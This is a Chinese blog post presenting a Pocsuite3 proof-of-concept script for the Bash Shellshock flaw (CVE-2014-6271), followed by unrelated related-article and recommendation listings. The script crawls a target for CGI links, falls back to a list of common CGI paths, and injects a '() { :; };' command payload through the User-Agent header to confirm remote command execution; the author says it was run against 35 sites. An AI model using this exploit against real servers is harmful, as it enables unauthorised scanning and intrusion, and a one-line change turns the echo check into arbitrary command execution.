前言

编写破壳CVE-2014-6271_Shellshock的POC,把公开出来的路径封装起来,作为Pocsuite3的验证POC

情况1:网站无法访问,返回失败

情况2:网站可以访问,无漏洞

情况3:网站可以访问,有漏洞

优先获取网站本身的cgi路径,如果没有,就用自带的cgi路径测试。

代码

15分钟,35个站点

#!/usr/bin/env python
# coding: utf-8
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, logger
import random
import string
import re dict = ["/cgi-bin/load.cgi",
"/cgi-bin/gsweb.cgi",
"/cgi-bin/redirector.cgi",
"/cgi-bin/help.cgi",
"/cgi-bin/about.cgi",
"/cgi-bin/vidredirect.cgi",
"/cgi-bin/click.cgi",
"/cgi-bin/details.cgi",
"/cgi-bin/log.cgi",
"/cgi-bin/viewcontent.cgi",
"/cgi-bin/content.cgi",
"/cgi-bin/admin.cgi",
"/cgi-bin/webmail.cgi",
"/cgi-bin/authLogin.cgi",
"/cgi-sys/entropysearch.cgi",
"/cgi-sys/defaultwebpage.cgi",
"/cgi-mod/index.cgi",
"/cgi-bin/poc.cgi",
"/cgi-bin/test.cgi",
"/cgi-mod/index.cgi"
] class DemoPOC(POCBase):
vulID = '0'
version = '1'
author = 'shenyi'
vulDate = '2014-10-16'
createDate = '2014-10-16'
updateDate = '2014-10-16'
references = ['https://www.invisiblethreat.ca/2014/09/cve-2014-6271/']
name = 'Bash 4.3 远程命令执行漏洞 POC'
appPowerLink = 'http://www.gnu.org/software/bash/'
appName = 'Bash'
appVersion = '3.0-4.3#'
vulType = 'Command Execution'
desc = '''
Bash 在解析环境变量时,会解析函数,同时可以运行函数后的语句,造成命令执行。
'''
samples = []
install_requires = [] def _verify(self):
result = {}
vul_url_result = "" # 存放漏洞结果的URL
try:
vul_url = get_url_need(self.url) if not vul_url: # 网站不存活状态,直接返回
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = vul_url_result
return self.parse_output(result)
elif vul_url.endswith("/123456_test.cgi"): # 未获取网页中的cgi链接状态
pass
else: # 获取.cgi、.sh链接
dict.insert(0,vul_url)
random_str = ''.join(random.sample(string.ascii_letters + string.digits, 50))
headers_fake = {}
headers_fake['User-Agent'] = '() { :; }; echo; echo X-Bash-Test: %s' % random_str
for url_path in dict:
try:
test_url = self.url + url_path
# response = requests.get(vul_url, headers=headers_fake)
response = requests.get(test_url, headers=headers_fake)
response = response.text
if 'X-Bash-Test: %s' % random_str == response.split('\n')[0]:
vul_url_result = test_url
except:
pass
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = vul_url_result
except Exception as e:
logger.exception(e)
return self.parse_output(result) def parse_output(self, result):
output = Output(self)
if result['VerifyInfo']['URL']:
output.success(result)
else:
output.fail('target is not vulnerable')
return output def _attack(self):
return self._verify() def _shell(self):
pass def get_url(url):
try:
return requests.get(url).url
except:
return url def get_url_need(url):
url_need = None if not url.startswith('http'):
url = 'http://%s' % url
# 判断字符串是否以指定后缀结尾,如果以指定后缀结尾返回True,否则返回False。
if url.endswith('.cgi') or url.endswith('.sh'):
url_need = url
return url_need
# 验证HTTP有效性
try:
url = requests.get(url,timeout=10).url
except:
print("error : {}".format(url)) # 出错直接返回
return ""
# 获取主页连接
url_need = get_link(url)
# 如果没有获取到链接就使用自定义的CGI路径测试
if not url_need:
url_need = url + "/123456_test.cgi" info = url_need
# print info
return info def get_link(url):
rnt = ''
try:
page_content = requests.get(url).text
match = re.findall(r'''(?:href|action|src)\s*?=\s*?(?:"|')\s*?([^'"]*?\.(?:cgi|sh|pl))''', page_content)
for item_url in match:
if not item_url.startswith('http'):
item_url = getAbsoluteURL(url, item_url)
if not is_url_exist(item_url):
continue
if isSameDomain(item_url, url):
rnt = item_url
break
return rnt
except Exception as e:
# raise e
return rnt def getAbsoluteURL(base, url):
url1 = urljoin(base, url)
arr = urlparse(url1)
path = normpath(arr[2])
return urlunparse((arr.scheme, arr.netloc, path, arr.params, arr.query, arr.fragment)) def is_url_exist(url):
try:
resp = requests.get(url)
if resp.status_code == 404:
return True
except Exception as e:
pass
return False def isSameDomain(url1, url2):
try:
if urlparse(url1).netloc.split(':')[0] == urlparse(url2).netloc.split(':')[0]:
return True
else:
return False
except:
return False register_poc(DemoPOC)

Pocsuite3--编写破壳CVE-2014-6271_Shellshock的POC的更多相关文章

  1. 编写POC时候的几个参考项目

    0x01. 背景 在编写pocsuite时候,会查阅大量的文件,poc利用方式. ​ 1. pocsuite是什么 Pocsuite 是由知道创宇404实验室打造的一款开源的远程漏洞测试框架.它是知道 ...

  2. Shellshock 破壳漏洞 Writeup

    破壳漏洞 CVE编号:CVE-2014-6271 题目URL:http://www.whalwl.site:8029/ 提示:flag在服务器根目录 ShellShock (CVE-2014-6271 ...

  3. php大力力 [016节] 兄弟连高洛峰php教程(2014年 14章数据库章节列表)

    2015-08-25 php大力力016 兄弟连高洛峰php教程(2014年 14章数据库章节列表) [2014]兄弟连高洛峰 PHP教程14.1.1 复习数据库  15:58 [2014]兄弟连高洛 ...

  4. Android安全研究经验谈

    安全研究做什么 从攻击角度举例,可以是:对某个模块进行漏洞挖掘的方法,对某个漏洞进行利用的技术,通过逆向工程破解程序.解密数据,对系统或应用进行感染.劫持等破坏安全性的攻击技术等. 而防御上则是:查杀 ...

  5. Bash漏洞批量检测工具与修复方案

    <img src="http://image.3001.net/images/20140928/14118931103311.jpg!small" t ...

  6. PJzhang:国内常用威胁情报搜索引擎说明

    猫宁!!! 参考链接: https://www.freebuf.com/column/136763.html https://www.freebuf.com/sectool/163946.html 如 ...

  7. php大力力 [019节]php分页类的学习

    2015-08-26 php大力力019.php分页类的学习 [2014]兄弟连高洛峰 PHP教程14.2.1 分页需求分析 14:18 [2014]兄弟连高洛峰 PHP教程14.2.2 分页类中分页 ...

  8. php大力力 [015节]兄弟连高洛峰php教程(土豆网栏目地址)

    兄弟连高洛峰php教程 兄弟连高洛峰php教程(土豆网栏目地址) [2014]兄弟连高洛峰 PHP教程1.1.1 新版视频形式介绍 [2014]兄弟连高洛峰 PHP教程1.1.2 BS结构软件类型介绍 ...

  9. [AaronYang]C#人爱学不学[1]

    当前编写时间:2014年12月24日21:11:14   编写人:杨洋(Aaronyang) 新文章:[AaronYang]C#人爱学不学[1] 声明:->可以理解为 联想到,或者关联的意思. ...

随机推荐

  1. Derby数据库操作 常见错误和异常

    一.插入(INSERT时报错) 1.错误:java.sql.SQLIntegrityConstraintViolationException: 列“test”无法接受空值. 可能原因:建表时test列 ...

  2. JAVA连接Derby数据库

    其实,JAVA连接Derby数据库也很简单,和一般的数据库操作一样:1.加载驱动2.获取连接3.进行数据库操作4.记得关闭连接 示例如下: import java.sql.ResultSet; imp ...

  3. Nginx中ngx_http_auth_basic_moudel和ngx_http_stub_status_module模块

    ngx_http_auth_basic_module实现基于⽤用户的访问控制,使⽤用basic机制进⾏行行⽤用户认证指令:5.1 auth_basicSyntax: auth_basic string ...

  4. Python+request+ smtplib 测试结果html报告邮件发送(下)《六》

    目录结构如下: 1.cfg.ini的配置信息写法如下: [email] ;--------------------------使用腾讯企业邮箱作为发件人的操作如下------------------- ...

  5. 02_已解决 [salt.minion :1758][ERROR ][52886] Returner mysql.returner could not be loaded: 'mysql' __virtual__ returned False: Could not import mysql returner; mysql python client is not installed.

    总结:python2.7下的salt,要把 mysql-python也安装,并不是python3环境,看清,看清 Returners组件,master自动把值写入mysql数据库中,出现的问题 1.本 ...

  6. java-十五周作业

    题目1:编写一个应用程序,输入用户名和密码,访问test数据库中t_login表(字段包括id.username.password),验证登录是否成功. 题目2:在上一题基础上,当登录成功后,将t_u ...

  7. 1、python--第一天练习题

    #1.使用while循环输入 1 2 3 4 5 6 8 9 10 k = 0 while k < 10: k += 1 if k == 7: continue print(k) #2.求1-1 ...

  8. 浏览器事件环(EventLoop)

    1. 基础知识 1. js语言特点 1. js语言是单线程语言,主线程是单线程.如UI渲染,脚本加载是主线程任务. 2. js语言采用事件循环(EventLoop)机制. 2. 同步任务: 不被引擎挂 ...

  9. 五十一.Openstack概述 部署安装环境 、 部署Openstack OpenStack操作基础

    虚拟化技术的底层构成: 内核的虚拟化模块(KVM):从内核集去提供虚拟化及CPU指令集的支持,要求CPU支持,(CPU有VMX指令集)   硬件仿真层(QEMU):虚拟一些周边设备,鼠标.键盘.网卡. ...

  10. 关于VGA显示实验的问题

    今天做了一个关于VGA的显示实验,但是由于产生的25M时钟不正确所以一直没有图像产生.刚开始的程序如下 虽然仿真的时候出现了时序,但是在下载到硬件的时候不正确. 后来改成 结果就正确了. 另外之前关于 ...